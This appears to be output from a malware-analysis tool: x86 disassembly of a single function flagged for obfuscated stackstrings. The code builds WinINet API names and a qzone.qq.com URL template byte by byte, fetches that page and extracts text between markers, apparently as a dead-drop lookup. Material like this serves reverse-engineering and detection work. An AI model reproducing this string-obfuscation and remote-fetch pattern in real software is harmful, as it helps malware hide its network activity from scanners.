Function at 0x41c120
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x4e0
mov al, 0x4e
push ebx
push ebp
mov byte [esp + 0xa], al
mov byte [esp + 0xc], al
push esi
lea eax, [esp + 0x1c]
push edi
lea ecx, [esp + 0x10]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x49
mov byte [esp + 0x1b], 0x49
mov byte [esp + 0x1d], 0x45
mov byte [esp + 0x1e], 0x54
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], 0x6c
mov byte [esp + 0x22], 0x6c
mov byte [esp + 0x23], 0
mov byte [esp + 0x28], 0x49
mov byte [esp + 0x29], 0x6e
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x72
mov byte [esp + 0x2d], 0x6e
mov byte [esp + 0x2e], bl
mov byte [esp + 0x2f], 0x74
mov byte [esp + 0x30], 0x4f
mov byte [esp + 0x31], 0x70
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x34], 0x41
mov byte [esp + 0x35], 0
call fcn.00419b40
mov esi, eax
lea edx, [esp + 0x48]
lea eax, [esp + 0x18]
push edx
push eax
mov byte [esp + 0x50], 0x49
mov byte [esp + 0x51], 0x6e
mov byte [esp + 0x52], 0x74
mov byte [esp + 0x53], bl
mov byte [esp + 0x54], 0x72
mov byte [esp + 0x55], 0x6e
mov byte [esp + 0x56], bl
mov byte [esp + 0x57], 0x74
mov byte [esp + 0x58], 0x4f
mov byte [esp + 0x59], 0x70
mov byte [esp + 0x5a], bl
mov byte [esp + 0x5b], 0x6e
mov byte [esp + 0x5c], 0x55
mov byte [esp + 0x5d], 0x72
mov byte [esp + 0x5e], 0x6c
mov byte [esp + 0x5f], 0x41
mov byte [esp + 0x60], 0
call fcn.00419b40
lea ecx, [esp + 0x40]
lea edx, [esp + 0x20]
push ecx
push edx
mov edi, eax
mov byte [esp + 0x48], 0x48
mov byte [esp + 0x49], 0x74
mov byte [esp + 0x4a], 0x74
mov byte [esp + 0x4b], 0x70
mov byte [esp + 0x4c], 0x51
mov byte [esp + 0x4d], 0x75
mov byte [esp + 0x4e], bl
mov byte [esp + 0x4f], 0x72
mov byte [esp + 0x50], 0x79
mov byte [esp + 0x51], 0x49
mov byte [esp + 0x52], 0x6e
mov byte [esp + 0x53], 0x66
mov byte [esp + 0x54], 0x6f
mov byte [esp + 0x55], 0x41
mov byte [esp + 0x56], 0
call fcn.00419b40
mov dword [esp + 0x34], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x28]
push eax
push ecx
mov byte [esp + 0x74], 0x49
mov byte [esp + 0x75], 0x6e
mov byte [esp + 0x76], 0x74
mov byte [esp + 0x77], bl
mov byte [esp + 0x78], 0x72
mov byte [esp + 0x79], 0x6e
mov byte [esp + 0x7a], bl
mov byte [esp + 0x7b], 0x74
mov byte [esp + 0x7c], 0x52
mov byte [esp + 0x7d], bl
mov byte [esp + 0x7e], 0x61
mov byte [esp + 0x7f], 0x64
mov byte [esp + 0x80], 0x46
mov byte [esp + 0x81], 0x69
mov byte [esp + 0x82], 0x6c
mov byte [esp + 0x83], bl
mov byte [esp + 0x84], 0
call fcn.00419b40
mov dword [esp + 0xe0], eax
lea edx, [esp + 0x88]
lea eax, [esp + 0x30]
push edx
push eax
mov byte [esp + 0x90], 0x49
mov byte [esp + 0x91], 0x6e
mov byte [esp + 0x92], 0x74
mov byte [esp + 0x93], bl
mov byte [esp + 0x94], 0x72
mov byte [esp + 0x95], 0x6e
mov byte [esp + 0x96], bl
mov byte [esp + 0x97], 0x74
mov byte [esp + 0x98], 0x43
mov byte [esp + 0x99], 0x6c
mov byte [esp + 0x9a], 0x6f
mov byte [esp + 0x9b], 0x73
mov byte [esp + 0x9c], bl
mov byte [esp + 0x9d], 0x48
mov byte [esp + 0x9e], 0x61
mov byte [esp + 0x9f], 0x6e
mov byte [esp + 0xa0], 0x64
mov byte [esp + 0xa1], 0x6c
mov byte [esp + 0xa2], bl
mov byte [esp + 0xa3], 0
call fcn.00419b40
mov ebp, eax
mov dl, 0x2f
mov al, 0x71
mov cl, 0x63
mov byte [esp + 0xa4], 0x68
mov byte [esp + 0xa5], 0x74
mov byte [esp + 0xa6], 0x74
mov byte [esp + 0xa7], 0x70
mov byte [esp + 0xa8], 0x3a
mov byte [esp + 0xa9], dl
mov byte [esp + 0xaa], dl
mov byte [esp + 0xab], 0x75
mov byte [esp + 0xac], 0x73
mov byte [esp + 0xad], bl
mov byte [esp + 0xae], 0x72
mov byte [esp + 0xaf], 0x73
mov byte [esp + 0xb0], 0x2e
mov byte [esp + 0xb1], al
mov byte [esp + 0xb2], 0x7a
mov byte [esp + 0xb3], 0x6f
mov byte [esp + 0xb4], 0x6e
mov byte [esp + 0xb5], bl
mov byte [esp + 0xb6], 0x2e
mov byte [esp + 0xb7], al
mov byte [esp + 0xb8], al
mov byte [esp + 0xb9], 0x2e
mov byte [esp + 0xba], cl
mov byte [esp + 0xbb], 0x6f
mov byte [esp + 0xbc], 0x6d
mov byte [esp + 0xbd], dl
mov byte [esp + 0xbe], 0x66
mov byte [esp + 0xbf], cl
mov byte [esp + 0xc5], dl
mov dl, 0x5f
mov al, 0x67
mov byte [esp + 0xc6], cl
mov byte [esp + 0xd8], cl
mov ecx, dword [esp + 0x51c]
mov byte [esp + 0xc9], dl
mov byte [esp + 0xcd], dl
mov byte [esp + 0xc0], al
mov byte [esp + 0xc7], al
mov byte [esp + 0xca], al
mov byte [esp + 0xd9], al
lea edx, [esp + 0xa4]
push ecx
lea eax, [esp + 0x11c]
push edx
push eax
mov byte [esp + 0xcd], 0x2d
mov byte [esp + 0xce], 0x62
mov byte [esp + 0xcf], 0x69
mov byte [esp + 0xd0], 0x6e
mov byte [esp + 0xd4], 0x69
mov byte [esp + 0xd7], bl
mov byte [esp + 0xd8], 0x74
mov byte [esp + 0xda], 0x70
mov byte [esp + 0xdb], 0x6f
mov byte [esp + 0xdc], 0x72
mov byte [esp + 0xdd], 0x74
mov byte [esp + 0xde], 0x72
mov byte [esp + 0xdf], 0x61
mov byte [esp + 0xe0], 0x69
mov byte [esp + 0xe1], 0x74
mov byte [esp + 0xe2], 0x2e
mov byte [esp + 0xe3], 0x66
mov byte [esp + 0xe6], 0x3f
mov byte [esp + 0xe7], 0x75
mov byte [esp + 0xe8], 0x69
mov byte [esp + 0xe9], 0x6e
mov byte [esp + 0xea], 0x73
mov byte [esp + 0xeb], 0x3d
mov byte [esp + 0xec], 0x25
mov byte [esp + 0xed], 0x73
mov byte [esp + 0xee], 0
call fcn.0042cdcc
add esp, 0x34
xor ebx, ebx
mov dword [esp + 0xc8], 0x20
push ebx
push ebx
push ebx
push ebx
push ebx
call esi
mov esi, eax
test esi, esi
jne 0x41c5d5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4e0
ret
push 0
push closesocket
push 0
lea ecx, [esp + 0xfc]
push 0
push ecx
push esi
call edi
mov edi, eax
test edi, edi
mov dword [esp + 0xbc], edi
jne 0x41c608
push esi
call ebp
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4e0
ret
lea edx, [esp + 0xc8]
push 0
lea eax, [esp + 0xd4]
push edx
push eax
push 5
push edi
call dword [esp + 0x30]
test eax, eax
jne 0x41c638
push edi
call ebp
push esi
call ebp
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4e0
ret
lea ecx, [esp + 0xd0]
push ecx
call fcn.0042dd5e
mov edi, eax
inc edi
push edi
mov dword [esp + 0xcc], edi
call fcn.004a2adf
mov edx, eax
mov ecx, edi
mov dword [esp + 0x24], edx
mov edi, edx
mov edx, ecx
xor eax, eax
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
add esp, 8
and ecx, 3
rep stosb byte es:[edi], al
mov edi, dword [esp + 0x1c]
lea eax, [esp + 0xcc]
mov ecx, edx
mov edx, dword [esp + 0xbc]
push eax
push ecx
push edi
push edx
call dword [esp + 0xd0]
test eax, eax
jne 0x41c6b8
push edi
call fcn.004a2b08
mov eax, dword [esp + 0xc0]
add esp, 4
push eax
call ebp
push esi
call ebp
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x4e0
ret
mov ecx, dword [esp + 0xbc]
push ecx
call ebp
push esi
call ebp
push 0x50ed80
push edi
call fcn.0042cce0
push str.__0_
push edi
mov esi, eax
call fcn.0042cce0
add esp, 0x10
test esi, esi
je 0x41c71d
test eax, eax
je 0x41c71d
add esi, 3
mov ebp, eax
sub ebp, esi
lea edi, [ebp + 1]
push edi
call fcn.004a2adf
mov ecx, edi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
push ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push esi
and ecx, 3
push ebx
rep stosb byte es:[edi], al
call fcn.0042dc60
mov edi, dword [esp + 0x2c]
add esp, 0x10
push edi
call fcn.004a2b08
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4e0
ret